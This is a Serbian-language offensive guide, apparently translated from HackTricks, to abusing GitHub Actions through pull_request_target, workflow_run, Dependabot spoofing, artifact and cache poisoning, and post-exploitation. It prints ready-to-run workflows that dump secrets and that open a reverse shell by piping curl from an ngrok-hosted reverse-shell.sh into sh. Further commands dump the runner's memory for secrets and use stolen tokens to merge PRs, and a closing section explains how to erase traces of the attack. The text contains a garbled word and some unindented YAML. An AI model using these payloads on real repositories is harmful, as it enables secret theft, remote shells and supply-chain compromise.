Zloupotreba Github Actions

Reading time: 20 minutes

Alati

Sledeći alati su korisni za pronalaženje Github Action radnih tokova i čak pronalaženje ranjivih:

• https://github.com/CycodeLabs/raven
• https://github.com/praetorian-inc/gato
• https://github.com/AdnaneKhan/Gato-X
• https://github.com/carlospolop/PurplePanda
• https://github.com/zizmorcore/zizmor - Proverite i njegovu kontrolnu listu na https://docs.zizmor.sh/audits

Osnovne Informacije

Na ovoj stranici ćete pronaći:

• rezime svih uticaja napadača koji uspe da pristupi Github Action
• Različite načine da dobijete pristup akciji:
• Imajući dozvole za kreiranje akcije
• Zloupotreba okidača povezanih sa pull request-om
• Zloupotreba drugih tehnika spoljnog pristupa
• Pivotiranje iz već kompromitovanog repozitorijuma
• Na kraju, odeljak o tehnikama post-eksploatacije za zloupotrebu akcije iznutra (uzrokovanje pomenutih uticaja)

Rezime Uticaja

Za uvod o Github Actions proverite osnovne informacije.

Ako možete da izvršite proizvoljan kod u GitHub Actions unutar repozitorijuma, možda ćete moći da:

• Uk盗ite tajne montirane na pipeline i zloupotrebite privilegije pipeline-a da biste dobili neovlašćen pristup spoljnim platformama, kao što su AWS i GCP.
• Kompromitujete implementacije i druge artefakte.
• Ako pipeline implementira ili čuva resurse, mogli biste da izmenite konačni proizvod, omogućavajući napad na lanac snabdevanja.
• Izvršite kod u prilagođenim radnicima da biste zloupotrebili računske resurse i pivotirali na druge sisteme.
• Prepišete kod repozitorijuma, u zavisnosti od dozvola povezanih sa GITHUB_TOKEN.

GITHUB_TOKEN

Ova "tajna" (koja dolazi iz ${{ secrets.GITHUB_TOKEN }} i ${{ github.token }}) se daje kada administrator omogući ovu opciju:

Ovaj token je isti koji će koristiti Github aplikacija, tako da može pristupiti istim krajnjim tačkama: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Možete videti moguće dozvole ovog tokena na: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Napomena da token isteče nakon što je posao završen.
Ovi tokeni izgledaju ovako: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Neke zanimljive stvari koje možete uraditi sa ovim tokenom:

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"

# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'

# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'

name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

Moguće je proveriti dozvole date Github Token-u u repozitorijumima drugih korisnika proverom logova akcija:

Dozvoljena Izvršenja

Izvršenje iz Kreiranja Repozitorijuma

U slučaju da članovi organizacije mogu kreirati nove repozitorijume i možete izvršavati github akcije, možete kreirati novi repozitorijum i ukrasti tajne postavljene na nivou organizacije.

Izvršenje iz Nove Grane

Ako možete kreirati novu granu u repozitorijumu koji već sadrži konfigurisan Github Action, možete modifikovati to, otpremiti sadržaj, a zatim izvršiti tu akciju iz nove grane. Na ovaj način možete izvući tajne na nivou repozitorijuma i organizacije (ali morate znati kako se zovu).

Možete učiniti da modifikovana akcija bude izvršna ručno, kada se kreira PR ili kada se neki kod otpremi (u zavisnosti od toga koliko želite da budete uočljivi):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches

Forked Execution

pull_request

Okidač radnog toka pull_request će izvršiti radni tok svaki put kada se primi pull request uz neke izuzetke: prema zadatku, ako je to prvi put da saradjujete, neki održavaoc će morati da odobri izvršenje radnog toka:

Pored toga, prema zadatku sprečava pisane dozvole i pristup tajnama ciljanom repozitorijumu kao što je pomenuto u docs:

Sa izuzetkom GITHUB_TOKEN, tajne se ne prosleđuju izvršiocu kada se radni tok pokrene iz forkovanog repozitorijuma. GITHUB_TOKEN ima dozvole samo za čitanje u pull request-ima iz forkovanih repozitorijuma.

Napadač bi mogao da izmeni definiciju Github akcije kako bi izvršio proizvoljne stvari i dodao proizvoljne akcije. Međutim, neće moći da ukrade tajne ili prepiše repozitorijum zbog pomenutih ograničenja.

Kako napadač takođe kontroliše kod koji se izvršava, čak i ako nema tajni ili pisane dozvole na GITHUB_TOKEN, napadač bi mogao, na primer, da otpremi zlonamerne artefakte.

pull_request_target

Okidač radnog toka pull_request_target ima pisanu dozvolu za ciljani repozitorijum i pristup tajnama (i ne traži dozvolu).

Napomena da okidač radnog toka pull_request_target radi u osnovnom kontekstu i ne u onom koji daje PR (da ne izvršava nepouzdani kod). Za više informacija o pull_request_target proverite dokumentaciju.
Pored toga, za više informacija o ovoj specifičnoj opasnoj upotrebi proverite ovaj github blog post.

Možda izgleda kao da je izvršeni radni tok onaj definisan u osnovi i ne u PR-u, pa je sigurno koristiti pull_request_target, ali postoje neki slučajevi kada to nije.

A ovaj će imati pristup tajnama.

workflow_run

workflow_run okidač omogućava pokretanje radnog toka iz drugog kada je završen, tražen ili u toku.

U ovom primeru, radni tok je konfiguran da se pokrene nakon što se završi odvojeni "Pokreni testove" radni tok:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Moreover, according to the docs: Workflow pokrenut događajem workflow_run može pristupiti tajnama i pisati tokene, čak i ako prethodni workflow nije.

Ova vrsta workflow-a može biti napadnuta ako zavisi od workflow-a koji može biti pokrenut od strane spoljnog korisnika putem pull_request ili pull_request_target. Nekoliko ranjivih primera može se pronaći u ovom blogu. Prvi se sastoji od workflow_run pokrenutog workflow-a koji preuzima napadačev kod: ${{ github.event.pull_request.head.sha }}
Drugi se sastoji od prosleđivanja artefakta iz nepouzdanog koda u workflow_run workflow i korišćenja sadržaja ovog artefakta na način koji ga čini ranjivim na RCE.

workflow_call

TODO

TODO: Proveriti da li kada se izvršava iz pull_request koristi/preuzima kod iz originala ili iz forkovanog PR

Zloupotreba Forkovane Izvršavanja

Pomenuli smo sve načine na koje spoljašnji napadač može uspeti da pokrene github workflow, sada hajde da pogledamo kako bi ove izvršavanja, ako su loše konfigurisane, mogle biti zloupotrebljene:

Nepouzdan checkout izvršavanje

U slučaju pull_request, workflow će biti izvršen u kontekstu PR (tako da će izvršiti maliciozni kod PR-a), ali neko mora prvo da autorizuje i izvršiće se sa nekim ograničenjima.

U slučaju workflow-a koji koristi pull_request_target ili workflow_run koji zavisi od workflow-a koji može biti pokrenut iz pull_request_target ili pull_request, kod iz originalnog repozitorijuma će biti izvršen, tako da napadač ne može kontrolisati izvršeni kod.

# INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

Potencijalno nepouzdan kod se izvršava tokom npm install ili npm build jer su skripte za izgradnju i referencirani paketi pod kontrolom autora PR-a.

Kontekst Injekcije Skripti

Napomena da postoje određeni github konteksti čije vrednosti su kontrolisane od strane korisnika koji kreira PR. Ako github akcija koristi te podatke za izvršavanje bilo čega, to može dovesti do izvršavanja proizvoljnog koda:

Gh Actions - Context Script Injections

GITHUB_ENV Injekcija Skripti

Prema dokumentaciji: Možete učiniti promenljivu okruženja dostupnom za sve naredne korake u workflow poslu tako što ćete definisati ili ažurirati promenljivu okruženja i napisati to u GITHUB_ENV datoteku okruženja.

Ako bi napadač mogao ubaciti bilo koju vrednost unutar ove env promenljive, mogao bi ubaciti env promenljive koje bi mogle izvršiti kod u sledećim koracima kao što su LD_PRELOAD ili NODE_OPTIONS.

Na primer (ovo i ovo), zamislite workflow koji veruje da je učitani artefakt da skladišti svoj sadržaj unutar GITHUB_ENV env promenljive. Napadač bi mogao da učita nešto poput ovoga da bi ga kompromitovao:

Dependabot i drugi pouzdani botovi

Kao što je navedeno u ovom blog postu, nekoliko organizacija ima Github akciju koja spaja bilo koji PRR od dependabot[bot] kao u:

on: pull_request_target
jobs:
auto-merge:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m

Koji je problem jer polje github.actor sadrži korisnika koji je izazvao najnoviji događaj koji je pokrenuo radni tok. I postoji nekoliko načina da se korisnik dependabot[bot] natera da izmeni PR. Na primer:

• Forkujte žrtvovano skladište
• Dodajte zloćudni payload u svoju kopiju
• Omogućite Dependabot na svom fork-u dodajući zastarelu zavisnost. Dependabot će kreirati granu koja ispravlja zavisnost sa zloćudnim kodom.
• Otvorite Pull Request ka žrtvovanom skladištu iz te grane (PR će biti kreiran od strane korisnika, tako da se još ništa neće desiti)
• Zatim, napadač se vraća na inicijalni PR koji je Dependabot otvorio u svom fork-u i pokreće @dependabot recreate
• Zatim, Dependabot izvršava neke radnje u toj grani, koje su izmenile PR u žrtvovanom repo-u, što čini dependabot[bot] akterom najnovijeg događaja koji je pokrenuo radni tok (i stoga, radni tok se pokreće).

Nastavljajući, šta ako umesto spajanja Github Action bi imao injekciju komandi kao u:

on: pull_request_target
jobs:
just-printing-stuff:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}

Pa, originalni blog post predlaže dve opcije za zloupotrebu ovog ponašanja, a druga je:

• Forkujte repozitorijum žrtve i omogućite Dependabot sa nekim zastarelim zavisnostima.
• Kreirajte novu granu sa zloćudnim kodom za shell injekciju.
• Promenite podrazumevanu granu repozitorijuma na tu.
• Kreirajte PR iz ove grane u repozitorijum žrtve.
• Pokrenite @dependabot merge u PR-u koji je Dependabot otvorio u svom forku.
• Dependabot će spojiti svoje izmene u podrazumevanu granu vašeg forkovanog repozitorijuma, ažurirajući PR u repozitorijumu žrtve, čineći sada dependabot[bot] aktera poslednjeg događaja koji je pokrenuo radni tok i koristeći zloćudno ime grane.

Ranljive Treće Strane Github Akcije

dawidd6/action-download-artifact

Kao što je pomenuto u ovom blog postu, ova Github Akcija omogućava pristup artefaktima iz različitih radnih tokova i čak repozitorijuma.

Problem je u tome što, ako path parametar nije postavljen, artefakt se ekstrahuje u trenutni direktorijum i može prepisati datoteke koje bi kasnije mogle biti korišćene ili čak izvršene u radnom toku. Stoga, ako je artefakt ranjiv, napadač bi mogao zloupotrebiti ovo da kompromituje druge radne tokove koji veruju artefaktu.

Primer ranjivog radnog toka:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Ovo bi moglo biti napadnuto ovom radnom procedurom:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Drugi Spoljni Pristup

Otimanje Izbrisanog Namespace Repozitorijuma

Ako nalog promeni svoje ime, drugi korisnik bi mogao da registruje nalog sa tim imenom nakon nekog vremena. Ako je repozitorijum imao manje od 100 zvezdica pre promene imena, Github će omogućiti novom registrovanom korisniku sa istim imenom da kreira repozitorijum sa istim imenom kao onaj koji je izbrisan.

Ako su drugi repozitorijumi koristili zavisnosti iz repozitorijuma ovog korisnika, napadač će moći da ih otme. Ovde imate potpunije objašnjenje: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/

Repo Pivoting

Trovanje Kešom

Keš se održava između izvršavanja radnih tokova u istoj grani. Što znači da ako napadač kompromituje paket koji se zatim čuva u kešu i preuzima i izvršava ga privilegovaniji radni tok, on će moći da kompromituje i taj radni tok.

GH Actions - Cache Poisoning

Trovanje Artefaktima

Radni tokovi mogu koristiti artefakte iz drugih radnih tokova i čak repozitorijuma, ako napadač uspe da kompromituje Github Akciju koja otprema artefakt koji se kasnije koristi od strane drugog radnog toka, on bi mogao da kompromituje druge radne tokove:

Gh Actions - Artifact Poisoning

Post Eksploatacija iz Akcije

Pristupanje AWS i GCP putem OIDC

Proverite sledeće stranice:

AWS - Federation Abuse

GCP - Federation Abuse

Pristupanje tajnama

Ako ubacujete sadržaj u skriptu, zanimljivo je znati kako možete pristupiti tajnama:

• Ako je tajna ili token postavljen na promenljivu okruženja, može se direktno pristupiti kroz okruženje koristeći printenv.

name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

• Ako se tajna koristi direktno u izrazu, generisani shell skript se čuva na disku i može se pristupiti.

cat /home/runner/work/_temp/*

- Za JavaScript akcije, tajne se šalju kroz promenljive okruženja.
- ```bash
ps axe | grep node

• Za prilagođenu akciju, rizik može varirati u zavisnosti od toga kako program koristi tajnu koju je dobio iz argumenta:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Zloupotreba samostalno hostovanih izvršilaca

Način da se pronađe koje Github akcije se izvršavaju u ne-github infrastrukturi je pretraga za runs-on: self-hosted u konfiguraciji yaml za Github akcije.

Samostalno hostovani izvršioci mogu imati pristup dodatnim osetljivim informacijama, drugim mrežnim sistemima (ranjivi krajnji tački u mreži? usluga metapodataka?) ili, čak i ako je izolovan i uništen, više od jedne akcije može biti pokrenuto u isto vreme i zlonamerna može ukrasti tajne od druge.

U samostalno hostovanim izvršiocima takođe je moguće dobiti tajne iz _Runner.Listener_** procesa** koji će sadržati sve tajne radnih tokova u bilo kojoj fazi dumpovanjem svoje memorije:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Proverite ovaj post za više informacija.

Github Docker Images Registry

Moguće je napraviti Github akcije koje će izgraditi i sačuvati Docker sliku unutar Github-a.
Primer se može naći u sledećem proširivom:

[...]

- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1

- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}

- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

Kao što ste mogli videti u prethodnom kodu, Github registry je hostovan na ghcr.io.

Korisnik sa dozvolama za čitanje nad repozitorijumom će moći da preuzme Docker sliku koristeći lični pristupni token:

echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Zatim, korisnik može da traži procurene tajne u slojevima Docker slike:

Docker Forensics - HackTricks

Osetljive informacije u Github Actions logovima

Čak i ako Github pokušava da otkrije tajne vrednosti u logovima akcija i izbegne da ih prikaže, dati osetljivi podaci koji su mogli biti generisani tokom izvršenja akcije neće biti sakriveni. Na primer, JWT potpisan tajnom vrednošću neće biti sakriven osim ako nije specifično konfigurisano.

Sakrivanje tragova

(Tehnika iz ovde) Prvo, svaki PR koji je podnet je jasno vidljiv javnosti na Github-u i ciljanom GitHub nalogu. Na GitHub-u po defaultu, ne možemo obrisati PR sa interneta, ali postoji caka. Za GitHub naloge koji su suspendovani od strane GitHub-a, svi njihovi PR-ovi se automatski brišu i uklanjaju sa interneta. Dakle, da biste sakrili svoju aktivnost, potrebno je da ili dobijete suspendovan GitHub nalog ili da vam nalog bude označen. Ovo bi sakrilo sve vaše aktivnosti na GitHub-u sa interneta (u suštini uklonilo sve vaše exploit PR-ove)

Organizacija na GitHub-u je veoma proaktivna u izveštavanju naloga GitHub-u. Sve što treba da uradite je da podelite "neke stvari" u Issue i oni će se pobrinuti da vaš nalog bude suspendovan za 12 sati :p i eto, učinili ste svoj exploit nevidljivim na github-u.